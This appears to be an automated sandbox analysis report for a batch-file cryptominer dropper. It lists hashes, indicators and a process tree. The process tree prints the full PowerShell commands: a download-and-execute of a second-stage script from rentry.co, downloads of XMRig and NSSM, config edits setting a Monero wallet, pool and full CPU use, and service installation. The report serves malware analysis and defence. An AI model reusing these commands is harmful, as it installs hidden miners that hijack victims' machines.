Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
990s -
max time network
986s -
platform
windows10-1703_x64 -
resource
win10-20240611-en -
resource tags
arch:x64arch:x86image:win10-20240611-enlocale:en-usos:windows10-1703-x64system -
submitted
29/06/2024, 14:26
Static task
static1
Behavioral task
behavioral1
Sample
10978274997204.bat
Resource
win10-20240611-en
General
-
Target
10978274997204.bat
-
Size
517B
-
MD5
ac9d73455d58bfa42f81e718b8c8d6b5
-
SHA1
60040fff333b7bc09b22e5c013f11b8a99555ed3
-
SHA256
4a084dd6b556a67848483a5763f8d3eebadc0527f804f102f7f944b23b31cb12
-
SHA512
ad24994554a8e6bb68f5ca80b1c53379f7a577964165f56d2f6bef14340fec3d0f17d14faa2db4651776a83bd5686f26ee59080ee2a16d0468b8d38504e460b2
Malware Config
Extracted
https://rentry.co/regele/raw
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip
Signatures
-
XMRig Miner payload 64 IoCs
resource yara_rule behavioral1/files/0x000700000001ab0e-128.dat family_xmrig behavioral1/files/0x000700000001ab0e-128.dat xmrig behavioral1/memory/3656-131-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-414-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-415-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-416-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-417-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-418-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-419-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-420-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-421-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-422-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-423-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-424-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-425-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-426-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-427-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-428-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-429-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-430-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-431-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-432-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-433-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-434-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-435-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-436-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-437-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-438-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-439-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-440-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-441-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-442-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-443-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-444-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-445-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-446-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-447-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-448-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-449-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-451-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-452-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-453-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-454-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-455-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-456-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-457-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-458-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-459-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-460-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-461-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-462-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-463-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-464-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-465-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-466-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-467-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-468-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-469-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-470-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-471-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-472-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-473-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-474-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3224-475-0x0000000000400000-0x000000000102B000-memory.dmp xmrig -
Blocklisted process makes network request 3 IoCs
flow pid Process 2 2404 powershell.exe 5 4828 powershell.exe 6 5040 powershell.exe -
Executes dropped EXE 9 IoCs
pid Process 3656 xmrig.exe 3608 nssm.exe 248 nssm.exe 204 nssm.exe 2768 nssm.exe 4164 nssm.exe 2096 nssm.exe 4016 nssm.exe 3224 xmrig.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 4 raw.githubusercontent.com 5 raw.githubusercontent.com 6 raw.githubusercontent.com -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4532 sc.exe 2468 sc.exe 4360 sc.exe 2332 sc.exe -
pid Process 4828 powershell.exe 3416 powershell.exe 4016 powershell.exe 4832 powershell.exe 3692 powershell.exe 4380 powershell.exe 5040 powershell.exe 4380 powershell.exe 3940 powershell.exe 3604 powershell.exe 2404 powershell.exe 208 powershell.exe 4328 powershell.exe -
Delays execution with timeout.exe 64 IoCs
pid Process 1880 timeout.exe 2228 timeout.exe 5024 timeout.exe 4916 Process not Found 2288 Process not Found 3572 Process not Found 4076 timeout.exe 3060 timeout.exe 4648 timeout.exe 4148 Process not Found 3868 timeout.exe 4728 timeout.exe 3000 timeout.exe 1120 Process not Found 3868 timeout.exe 2596 timeout.exe 3624 timeout.exe 3312 timeout.exe 2264 timeout.exe 4528 timeout.exe 2176 timeout.exe 5116 timeout.exe 1760 Process not Found 344 timeout.exe 2304 timeout.exe 2376 timeout.exe 3868 timeout.exe 1432 timeout.exe 1336 timeout.exe 784 timeout.exe 200 Process not Found 4416 timeout.exe 4312 timeout.exe 4756 Process not Found 3772 timeout.exe 4736 timeout.exe 4356 timeout.exe 4024 timeout.exe 4444 Process not Found 1840 timeout.exe 1688 timeout.exe 1020 timeout.exe 564 timeout.exe 3688 timeout.exe 2528 Process not Found 2252 timeout.exe 4424 timeout.exe 1880 timeout.exe 4704 timeout.exe 236 timeout.exe 2224 timeout.exe 1440 timeout.exe 3392 timeout.exe 2204 Process not Found 3544 Process not Found 3716 Process not Found 2976 Process not Found 2252 timeout.exe 4916 timeout.exe 4424 timeout.exe 2608 timeout.exe 2964 Process not Found 2092 timeout.exe 4536 timeout.exe -
Kills process with taskkill 1 IoCs
pid Process 2472 taskkill.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 39 IoCs
pid Process 2404 powershell.exe 2404 powershell.exe 2404 powershell.exe 4828 powershell.exe 4828 powershell.exe 4828 powershell.exe 4380 powershell.exe 4380 powershell.exe 4380 powershell.exe 3940 powershell.exe 3940 powershell.exe 3940 powershell.exe 3604 powershell.exe 3604 powershell.exe 3604 powershell.exe 3416 powershell.exe 3416 powershell.exe 3416 powershell.exe 4016 powershell.exe 4016 powershell.exe 4016 powershell.exe 208 powershell.exe 208 powershell.exe 208 powershell.exe 4832 powershell.exe 4832 powershell.exe 4832 powershell.exe 3692 powershell.exe 3692 powershell.exe 3692 powershell.exe 4380 powershell.exe 4380 powershell.exe 4380 powershell.exe 5040 powershell.exe 5040 powershell.exe 5040 powershell.exe 4328 powershell.exe 4328 powershell.exe 4328 powershell.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 656 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2404 powershell.exe Token: SeDebugPrivilege 2472 taskkill.exe Token: SeDebugPrivilege 4828 powershell.exe Token: SeDebugPrivilege 4380 powershell.exe Token: SeDebugPrivilege 3940 powershell.exe Token: SeDebugPrivilege 3604 powershell.exe Token: SeDebugPrivilege 3416 powershell.exe Token: SeDebugPrivilege 4016 powershell.exe Token: SeDebugPrivilege 208 powershell.exe Token: SeDebugPrivilege 4832 powershell.exe Token: SeDebugPrivilege 3692 powershell.exe Token: SeDebugPrivilege 4380 powershell.exe Token: SeDebugPrivilege 5040 powershell.exe Token: SeDebugPrivilege 4328 powershell.exe Token: SeLockMemoryPrivilege 3224 xmrig.exe Token: SeIncreaseQuotaPrivilege 4496 WMIC.exe Token: SeSecurityPrivilege 4496 WMIC.exe Token: SeTakeOwnershipPrivilege 4496 WMIC.exe Token: SeLoadDriverPrivilege 4496 WMIC.exe Token: SeSystemProfilePrivilege 4496 WMIC.exe Token: SeSystemtimePrivilege 4496 WMIC.exe Token: SeProfSingleProcessPrivilege 4496 WMIC.exe Token: SeIncBasePriorityPrivilege 4496 WMIC.exe Token: SeCreatePagefilePrivilege 4496 WMIC.exe Token: SeBackupPrivilege 4496 WMIC.exe Token: SeRestorePrivilege 4496 WMIC.exe Token: SeShutdownPrivilege 4496 WMIC.exe Token: SeDebugPrivilege 4496 WMIC.exe Token: SeSystemEnvironmentPrivilege 4496 WMIC.exe Token: SeRemoteShutdownPrivilege 4496 WMIC.exe Token: SeUndockPrivilege 4496 WMIC.exe Token: SeManageVolumePrivilege 4496 WMIC.exe Token: 33 4496 WMIC.exe Token: 34 4496 WMIC.exe Token: 35 4496 WMIC.exe Token: 36 4496 WMIC.exe Token: SeIncreaseQuotaPrivilege 4496 WMIC.exe Token: SeSecurityPrivilege 4496 WMIC.exe Token: SeTakeOwnershipPrivilege 4496 WMIC.exe Token: SeLoadDriverPrivilege 4496 WMIC.exe Token: SeSystemProfilePrivilege 4496 WMIC.exe Token: SeSystemtimePrivilege 4496 WMIC.exe Token: SeProfSingleProcessPrivilege 4496 WMIC.exe Token: SeIncBasePriorityPrivilege 4496 WMIC.exe Token: SeCreatePagefilePrivilege 4496 WMIC.exe Token: SeBackupPrivilege 4496 WMIC.exe Token: SeRestorePrivilege 4496 WMIC.exe Token: SeShutdownPrivilege 4496 WMIC.exe Token: SeDebugPrivilege 4496 WMIC.exe Token: SeSystemEnvironmentPrivilege 4496 WMIC.exe Token: SeRemoteShutdownPrivilege 4496 WMIC.exe Token: SeUndockPrivilege 4496 WMIC.exe Token: SeManageVolumePrivilege 4496 WMIC.exe Token: 33 4496 WMIC.exe Token: 34 4496 WMIC.exe Token: 35 4496 WMIC.exe Token: 36 4496 WMIC.exe Token: SeIncreaseQuotaPrivilege 4048 WMIC.exe Token: SeSecurityPrivilege 4048 WMIC.exe Token: SeTakeOwnershipPrivilege 4048 WMIC.exe Token: SeLoadDriverPrivilege 4048 WMIC.exe Token: SeSystemProfilePrivilege 4048 WMIC.exe Token: SeSystemtimePrivilege 4048 WMIC.exe Token: SeProfSingleProcessPrivilege 4048 WMIC.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3224 xmrig.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4156 wrote to memory of 2404 4156 cmd.exe 72 PID 4156 wrote to memory of 2404 4156 cmd.exe 72 PID 2404 wrote to memory of 4376 2404 powershell.exe 73 PID 2404 wrote to memory of 4376 2404 powershell.exe 73 PID 4376 wrote to memory of 216 4376 cmd.exe 74 PID 4376 wrote to memory of 216 4376 cmd.exe 74 PID 216 wrote to memory of 208 216 net.exe 94 PID 216 wrote to memory of 208 216 net.exe 94 PID 4376 wrote to memory of 4420 4376 cmd.exe 76 PID 4376 wrote to memory of 4420 4376 cmd.exe 76 PID 4376 wrote to memory of 4652 4376 cmd.exe 77 PID 4376 wrote to memory of 4652 4376 cmd.exe 77 PID 4376 wrote to memory of 556 4376 cmd.exe 78 PID 4376 wrote to memory of 556 4376 cmd.exe 78 PID 4376 wrote to memory of 1876 4376 cmd.exe 79 PID 4376 wrote to memory of 1876 4376 cmd.exe 79 PID 4376 wrote to memory of 728 4376 cmd.exe 80 PID 4376 wrote to memory of 728 4376 cmd.exe 80 PID 4376 wrote to memory of 4532 4376 cmd.exe 81 PID 4376 wrote to memory of 4532 4376 cmd.exe 81 PID 4376 wrote to memory of 2468 4376 cmd.exe 82 PID 4376 wrote to memory of 2468 4376 cmd.exe 82 PID 4376 wrote to memory of 2472 4376 cmd.exe 83 PID 4376 wrote to memory of 2472 4376 cmd.exe 83 PID 4376 wrote to memory of 4828 4376 cmd.exe 85 PID 4376 wrote to memory of 4828 4376 cmd.exe 85 PID 4376 wrote to memory of 4380 4376 cmd.exe 97 PID 4376 wrote to memory of 4380 4376 cmd.exe 97 PID 4376 wrote to memory of 3940 4376 cmd.exe 87 PID 4376 wrote to memory of 3940 4376 cmd.exe 87 PID 4376 wrote to memory of 3656 4376 cmd.exe 88 PID 4376 wrote to memory of 3656 4376 cmd.exe 88 PID 4376 wrote to memory of 4328 4376 cmd.exe 99 PID 4376 wrote to memory of 4328 4376 cmd.exe 99 PID 4328 wrote to memory of 3604 4328 cmd.exe 90 PID 4328 wrote to memory of 3604 4328 cmd.exe 90 PID 3604 wrote to memory of 4808 3604 powershell.exe 91 PID 3604 wrote to memory of 4808 3604 powershell.exe 91 PID 4376 wrote to memory of 3416 4376 cmd.exe 92 PID 4376 wrote to memory of 3416 4376 cmd.exe 92 PID 4376 wrote to memory of 4016 4376 cmd.exe 108 PID 4376 wrote to memory of 4016 4376 cmd.exe 108 PID 4376 wrote to memory of 208 4376 cmd.exe 94 PID 4376 wrote to memory of 208 4376 cmd.exe 94 PID 4376 wrote to memory of 4832 4376 cmd.exe 95 PID 4376 wrote to memory of 4832 4376 cmd.exe 95 PID 4376 wrote to memory of 3692 4376 cmd.exe 96 PID 4376 wrote to memory of 3692 4376 cmd.exe 96 PID 4376 wrote to memory of 4380 4376 cmd.exe 97 PID 4376 wrote to memory of 4380 4376 cmd.exe 97 PID 4376 wrote to memory of 5040 4376 cmd.exe 98 PID 4376 wrote to memory of 5040 4376 cmd.exe 98 PID 4376 wrote to memory of 4328 4376 cmd.exe 99 PID 4376 wrote to memory of 4328 4376 cmd.exe 99 PID 4376 wrote to memory of 2332 4376 cmd.exe 100 PID 4376 wrote to memory of 2332 4376 cmd.exe 100 PID 4376 wrote to memory of 4360 4376 cmd.exe 101 PID 4376 wrote to memory of 4360 4376 cmd.exe 101 PID 4376 wrote to memory of 3608 4376 cmd.exe 102 PID 4376 wrote to memory of 3608 4376 cmd.exe 102 PID 4376 wrote to memory of 248 4376 cmd.exe 103 PID 4376 wrote to memory of 248 4376 cmd.exe 103 PID 4376 wrote to memory of 204 4376 cmd.exe 104 PID 4376 wrote to memory of 204 4376 cmd.exe 104
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\10978274997204.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4156 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://rentry.co/regele/raw', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2404 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpDBC9.tmp.bat" 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL"3⤵
- Suspicious use of WriteProcessMemory
PID:4376 -
C:\Windows\system32\net.exenet session4⤵
- Suspicious use of WriteProcessMemory
PID:216 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵PID:208
-
-
-
C:\Windows\system32\where.exewhere powershell4⤵PID:4420
-
-
C:\Windows\system32\where.exewhere find4⤵PID:4652
-
-
C:\Windows\system32\where.exewhere findstr4⤵PID:556
-
-
C:\Windows\system32\where.exewhere tasklist4⤵PID:1876
-
-
C:\Windows\system32\where.exewhere sc4⤵PID:728
-
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
PID:4532
-
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
PID:2468
-
-
C:\Windows\system32\taskkill.exetaskkill /f /t /im xmrig.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2472
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip', 'C:\Users\Admin\xmrig.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4828
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\xmrig.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4380
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"donate-level\": *\d*,', '\"donate-level\": 1,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3940
-
-
C:\Users\Admin\moneroocean\xmrig.exe"C:\Users\Admin\moneroocean\xmrig.exe" --help4⤵
- Executes dropped EXE
PID:3656
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"4⤵
- Suspicious use of WriteProcessMemory
PID:4328 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3604 -
C:\Windows\system32\HOSTNAME.EXE"C:\Windows\system32\HOSTNAME.EXE"6⤵PID:4808
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"url\": *\".*\",', '\"url\": \"gulf.moneroocean.stream:10004 \",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3416
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"user\": *\".*\",', '\"user\": \"42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4016
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"pass\": *\".*\",', '\"pass\": \"Gkutwgdf\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:208
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"max-cpu-usage\": *\d*,', '\"max-cpu-usage\": 100,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4832
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"log-file\": *null,', '\"log-file\": \"C:\\Users\\Admin\\moneroocean\\xmrig.log\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3692
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config_background.json' | %{$_ -replace '\"background\": *false,', '\"background\": true,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config_background.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4380
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip', 'C:\Users\Admin\nssm.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5040
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\nssm.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4328
-
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
PID:2332
-
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
PID:4360
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" install moneroocean_miner "C:\Users\Admin\moneroocean\xmrig.exe"4⤵
- Executes dropped EXE
PID:3608
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppDirectory "C:\Users\Admin\moneroocean"4⤵
- Executes dropped EXE
PID:248
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppPriority BELOW_NORMAL_PRIORITY_CLASS4⤵
- Executes dropped EXE
PID:204
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStdout "C:\Users\Admin\moneroocean\stdout"4⤵
- Executes dropped EXE
PID:2768
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStderr "C:\Users\Admin\moneroocean\stderr"4⤵
- Executes dropped EXE
PID:4164
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" start moneroocean_miner4⤵
- Executes dropped EXE
PID:2096
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1600
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4496
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3272
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4100
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4048
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4240
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2036
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4476
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1604
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5092
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4008
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3104
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3532
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3600
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1880
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4504
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4292
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4416
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3640
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1848
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:572
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4908
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3528
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1804
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2304
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2224
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1196
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:824
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1088
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3496
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4308
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4160
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4716
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1492
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:848
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4516
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2184
-
